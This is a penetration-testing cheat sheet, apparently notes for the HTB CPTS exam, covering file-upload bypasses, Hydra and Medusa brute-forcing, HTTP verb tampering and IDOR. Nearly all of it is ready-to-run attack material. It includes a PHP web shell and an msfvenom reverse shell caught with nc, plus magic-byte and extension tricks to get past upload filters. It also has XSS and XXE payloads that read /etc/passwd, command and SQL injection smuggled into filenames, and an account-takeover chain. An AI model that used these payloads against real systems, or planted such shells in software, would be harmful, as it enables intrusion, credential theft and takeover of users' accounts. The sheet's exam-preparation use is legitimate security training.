echo '<?php echo "Hello HTB";?>' > test.php                                  # benign PoC β€” verify exec before deploying a shell
echo '<?php system($_REQUEST["cmd"]); ?>' > shell.php                        # minimal PHP web shell
msfvenom -p php/reverse_php LHOST=[LHOST] LPORT=[LPORT] -f raw > reverse.php  # MSFVenom PHP reverse shell
curl -s "http://[TARGET]/uploads/shell.php?cmd=id"                           # trigger the uploaded shell
nc -lvnp [LPORT]                                                             # catch the reverse shell

Upload Attack Decision Tree

No filter at all?
└── Upload shell.php directly β†’ trigger execution
 
Client-side JS only?
└── Rename to .jpg, intercept in Burp, change filename back to .php
 
Blacklist filter?
β”œβ”€β”€ Fuzz with web-extensions.txt via Intruder (uncheck URL-encode!)
└── Try: .phtml, .php5, .php7, .php8, .phar, .phps
 
Whitelist filter (only .jpg/.png allowed)?
β”œβ”€β”€ Flawed regex (no $ anchor) β†’ shell.jpg.php
β”œβ”€β”€ Apache executes .php anywhere in name β†’ shell.php.jpg
β”œβ”€β”€ PHP < 5.5 β†’ null byte: shell.php%00.jpg
└── Character injection β†’ bash-generated permutations β†’ Intruder
 
Content-Type validation?
└── Modify inner boundary header: Content-Type: image/jpeg
 
Magic bytes validation?
└── Prepend GIF8 to the PHP shell
 
All of the above?
└── Combine: GIF8 magic bytes + image/jpeg Content-Type + .php.jpg double extension

Extension Bypasses

.phtml  .php5  .php7  .php8  .phar  .phps   # blacklist bypasses to try manually
shell.jpg.php       # double extension β€” flawed regex with no $ anchor
shell.php.jpg       # reverse double extension β€” Apache runs .php anywhere in the name
shell.php%00.jpg    # null byte (PHP < 5.5)
shell.pHp / shell.PhP   # case variation (case-sensitive blacklist)

Intruder fuzzing: highlight only the extension shell.Β§phpΒ§ β†’ load web-extensions.txt β†’ uncheck β€œURL-encode these characters” (dots %2e break the test) β†’ sort by Length β†’ a different length = bypass.

Content-Type & Magic Bytes Bypass

# MIME spoof: in Burp, change the inner multipart boundary header to Content-Type: image/jpeg (keep .php)
# Magic bytes: prepend a GIF header so mime_content_type() sees an image
echo "GIF8" > shell.php && echo "<?php system(\$_REQUEST['cmd']); ?>" >> shell.php
file shell.php          # verify: "GIF image data" (the GIF8 garbage at output start is expected)

Whitelist Bypass β€” Filename Permutations

for char in '%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' '...' ':'; do
    for ext in '.php' '.php3' '.php5' '.phtml' '.phar'; do
        echo "shell$char$ext.jpg"
        echo "shell$ext$char.jpg"
        echo "shell.jpg$char$ext"
        echo "shell.jpg$ext$char"
    done
done > wordlist.txt

Other Upload Vectors (no execution path)

exiftool -Comment='"><img src=1 onerror=alert(window.origin)>' image.jpg   # stored XSS via image metadata
<!-- SVG -> Stored XSS -->
<svg xmlns="http://www.w3.org/2000/svg"><script>alert(window.origin);</script></svg>
<!-- SVG -> XXE LFI -->
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg>&xxe;</svg>
../../../etc/passwd            # directory traversal in filename (overwrite on upload)
file$(whoami).jpg              # command injection in filename
file';select+sleep(5);--.jpg   # SQLi in filename

Key Pitfalls

IssueFix
File uploaded but executes as plaintextDirectory has exec disabled β†’ need LFI to include it
Intruder 429 errorsResource Pool β†’ lower concurrent requests to 1
GIF8 garbage in outputExpected β€” PHP outputs it as text; the rest is your command output
.php%00.jpg null byte failsPHP 5.5+ β†’ use filter wrappers or magic bytes instead
Windows target blacklistBlacklist often case-sensitive β†’ try shell.pHp, shell.PhP

Login Brute-Force

Brute web logins and service credentials. Think dumber first: test manually to capture the exact failure string β€” a wrong one makes Hydra report everything as valid or nothing at all (curl -d 'user=test&pass=test' http://[TARGET]/login and note the error text). Confirm the form method/params in Burp, and check for lockout/CAPTCHA before firing.

Hydra β€” Flag Reference

FlagMeaning
-L / -PFile path for userlist / passlist
-l / -pSingle username / password string
-fStop on first success (always use on CPTS)
-tThreads (use -t 4 if connections drop)
-sNon-standard port
-VVerbose β€” print every attempt
-MMulti-host target file
-x min:max:charsetOn-the-fly password generation

Hydra β€” Protocols

hydra -L users.txt -P pass.txt [TARGET] ssh                      # SSH
hydra -L users.txt -P pass.txt -s [PORT] -V [TARGET] ftp         # FTP on non-standard port (-V verbose)
hydra -l [USER] -p [PASS] -M targets.txt ssh                     # multi-host, single credential pair
hydra -l admin -P pass.txt [TARGET] http-get / -s 81             # Basic HTTP Auth (browser pop-up)
hydra -l administrator -x 6:8:abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 [TARGET] rdp  # RDP on-the-fly gen

Hydra β€” Web POST Form

"[URI]:[param1]=^USER^&[param2]=^PASS^:F=[failure_string]"
  ^USER^ / ^PASS^   = injection placeholders
  F=Invalid credentials   = failure-string match
  S=302  /  S=Welcome     = success condition (redirect code or text)
hydra -L users.txt -P passes.txt -f 10.10.10.5 -s 80 http-post-form "/:username=^USER^&password=^PASS^:F=Invalid credentials"

Basic HTTP Auth: a native browser pop-up (not an HTML form) β†’ use http-get. Capture the Authorization: Basic header in Burp β†’ base64 -d reveals user:pass.

Medusa (multi-host parallel)

medusa -h [TARGET] -U users.txt -P pass.txt -M ssh                    # SSH
medusa -h [TARGET] -n [PORT] -U users.txt -P pass.txt -M ssh -t 3     # non-standard port (-n, NOT -s)
medusa -H targets.txt -U users.txt -P pass.txt -M http -m GET         # multi-host HTTP Basic Auth
medusa -h [TARGET] -U users.txt -e ns -M ssh                          # quick check: null password (n) + user=pass (s)
FeatureHydraMedusa
Port flag-s-n
Module flagpositional (ssh at end)-M ssh (required)
Stop on success-f-f (host) / -F (all)
Verbosity-V-v 4 to -v 6

Custom Wordlists

./username-anarchy Jane Smith > usernames.txt    # corporate username permutations (jsmith, jane.s, smithj, ...)
cupp -i                                          # OSINT password profiler (name/dob/pet/company/keywords; y to leetspeak)
# Policy filter β€” min 6, upper, lower, digit, 2 special chars:
grep -E '^.{6,}$' jane.txt | grep -E '[A-Z]' | grep -E '[a-z]' | grep -E '[0-9]' | grep -E '([!@#$%^&*].*){2,}' > passwords.txt

OSINT sources for CUPP: LinkedIn, Facebook, β€œAbout Us” pages, PDFs/DOCX from enumeration.

Key Pitfalls

IssueFix
Everything reported valid / nothing validWrong failure string β†’ test manually; grep the response body for a reliable partial match
10.10.10.5:8080 failsNever concatenate IP:port β€” Hydra DNS-resolves the whole string; use -s 8080 (Hydra) / -n 8080 (Medusa)
Medusa port ignoredMedusa uses -n, NOT -s β€” the #1 gotcha vs Hydra
http-post-form misbehavesFinicky β€” no extra spaces around the colons in the format string
CSRF token requiredHydra static strings fail β†’ use Burp Intruder with a macro, or ffuf with CSRF extraction
Service crashing / fail2ban banReduce threads -t 4 or -t 1; add delay -W 3 (Hydra); change source IP

HTTP Verb Tampering

Verb tampering: the app restricts GET/POST but other methods (HEAD/PUT/DELETE/OPTIONS) slip past server ACLs or input filters. Confirm the allowed methods in Burp first.

Two Root Causes

Root CauseExampleBypass
Insecure server config<Limit GET POST> locks only those verbsSend HEAD, OPTIONS, PUT, or any other verb
Insecure codingfilter checks $_GET but query uses $_REQUESTSwitch GET→POST — filter sees empty $_GET, $_REQUEST gets the body

Enumerate & Bypass

curl -i -X OPTIONS http://[TARGET]/admin/                 # list allowed methods (Allow header)
curl -i -X HEAD http://[TARGET]/admin/reset.php           # auth bypass β€” runs backend logic, returns no body
curl -i -X HACK http://[TARGET]/page.php                  # fabricated verb β€” bypasses GET/POST-only filters
curl -i -X PUT -d @shell.php http://[TARGET]/upload/      # arbitrary file write if PUT allowed
curl -i -X POST -d "code=1' OR 1=1--" http://[TARGET]/page.php   # POST bypasses GET-only sanitization
# Burp: right-click request β†’ Change Request Method (toggles GET↔POST)

HEAD returns 200 OK with no body on success β€” verify via app side-effects (file deleted, password reset), not response content.

Auth-bypass flow (server misconfig):

1. Protected URL β†’ 401/403
2. OPTIONS β†’ note the Allow header
3. Burp Repeater β†’ Change Request Method to HEAD (then PUT/DELETE/PATCH, then fabricated HACK/TEST)
4. Forward β†’ check app state (backend still executed)

Filter-evasion flow (insecure coding):

if (preg_match($pattern, $_GET["code"])) {                  // filter checks GET
    $query = "... WHERE code = '" . $_REQUEST["code"] . "'"; // query executes REQUEST
}

GET payload blocked β†’ Burp Change Method β†’ POST β†’ $_GET["code"] is empty (passes filter), $_REQUEST["code"] = POST body (executes).

API Verb Tampering

GET /api/v1/user/1 read-only? Try PUT /api/v1/user/1 (overwrite record) or DELETE /api/v1/user/1 (delete account) β€” APIs frequently forget to restrict non-GET methods. TRACE enabled = XST (a reporting finding).

IDOR

IDOR: predictable object references (id=, uid=) let you reach other users’ data or actions. Confirm object references in Burp first.

Impact Matrix

TypeActionExample
HorizontalRead another user’s dataDownload their invoice
HorizontalModify another user’s dataChange their email
VerticalAdmin function as a standard userGrant yourself admin role
BlindModify with no response confirmationChange password β€” verify by logging in as victim

Identify

URL params:     ?uid=1, ?file_id=123, ?account=5551234
POST body:      {"user_id": 1, "document": "contract_1.pdf"}
API endpoints:  /api/profile/1, /api/data/salaries/users/1
HTTP headers:   Cookie: role=employee   (trusting the cookie = IDOR waiting)
Hidden JS:      inspect .js files for AJAX endpoints not rendered in the UI

Exploit & Enumerate

curl -s -b "session=[COOKIE]" "http://[TARGET]/download.php?file_id=124"   # horizontal: increment ID for another user's file
curl -s -X PUT -H "Cookie: role=employee" -H "Content-Type: application/json" -d '{...}' "http://[TARGET]/profile/api.php/profile/2"  # overwrite another user's profile
ffuf -w ids.txt:FUZZ -u "http://[TARGET]/api/data?uid=FUZZ" -b "session=[COOKIE]" -fs [SIZE]   # mass IDOR fuzz

Encoded Reference Bypass

# JS reveals e.g. CryptoJS.MD5(btoa(uid)).toString() β€” replicate it (echo -n, base64 -w 0, strip trailing ' -'):
echo -n 1 | base64 -w 0 | md5sum | tr -d ' -'    # β†’ the server's hashed reference for uid=1
for i in {1..10}; do hash=$(echo -n $i | base64 -w 0 | md5sum | tr -d ' -'); curl -sOJ -X POST -d "contract=$hash" http://[TARGET]/download.php; done

Traps: echo (not echo -n) appends a newline β†’ wrong hash; base64 without -w 0 wraps lines β†’ wrong hash.

API IDOR Chain (Disclosure β†’ PrivEsc)

1. GET /api/profile/2            β†’ leak uuid + role string
2. PUT /api/profile/2 (victim uuid) β†’ take over (change email β†’ trigger password reset)
3. GET /api/profile/1..100       β†’ find a user with role "web_admin"
4. PUT /api/profile/[YOUR_UID] role=web_admin β†’ escalate self
5. Set Cookie: role=web_admin    β†’ POST admin-only actions

Traps: the URL id and the JSON-body uid must match; a backend role change does not auto-update the browser cookie β€” set Cookie: role=web_admin manually.

Two-Account Method

Register User1 + User2 β†’ capture User1’s sensitive API request β†’ replay it with User2’s session token β†’ success means the backend isn’t validating the session against the data.

Common App Defaults

For product-specific defaults (ports, panels, default credentials, version CVEs) and attacks against named applications β€” WordPress, Tomcat, Jenkins, Splunk, ColdFusion, GitLab, etc. β€” see Master_Common_Apps_Commands. This sheet covers vulnerability classes; that one covers specific products.


πŸ› οΈ Troubleshooting & Edge Cases

ProblemCauseFix
Web attack not workingWrong tech stack assumptionRe-fingerprint: whatweb -a 3 http://[TARGET]; tech stack determines which attacks apply
ffuf wordlist not finding hidden pathsWrong wordlistMatch wordlist to tech: raft-large-directories.txt for general; spring-boot.txt for Java apps
Burp active scanner flooding logsToo aggressiveUse active scanner on specific endpoints only; start with passive scanner
SQLMap not detecting injectionWrong parameterUse --forms flag to auto-test all form parameters; or specify -p [PARAM] manually
XSS payload not reflectingWAF encoding outputCheck source view; if encoded in HTML but not script context, find a JS context reflection instead

πŸ“ Reporting Trigger

Finding Title: Web Application Assessment β€” Multiple Vulnerabilities Identified Impact: Systematic web vulnerability assessment identifies injection flaws, authentication weaknesses, and business logic vulnerabilities across the web application, demonstrating that multiple attack chains exist from unauthenticated access to server compromise. Root Cause: Web application developed without security-focused code review. No DAST or SAST in development pipeline. Security testing conducted only at launch, not continuously. Recommendation: Integrate DAST scanning in CI/CD pipeline. Conduct manual penetration testing quarterly. Implement WAF as defense-in-depth. Establish a vulnerability management process to remediate findings within defined SLAs.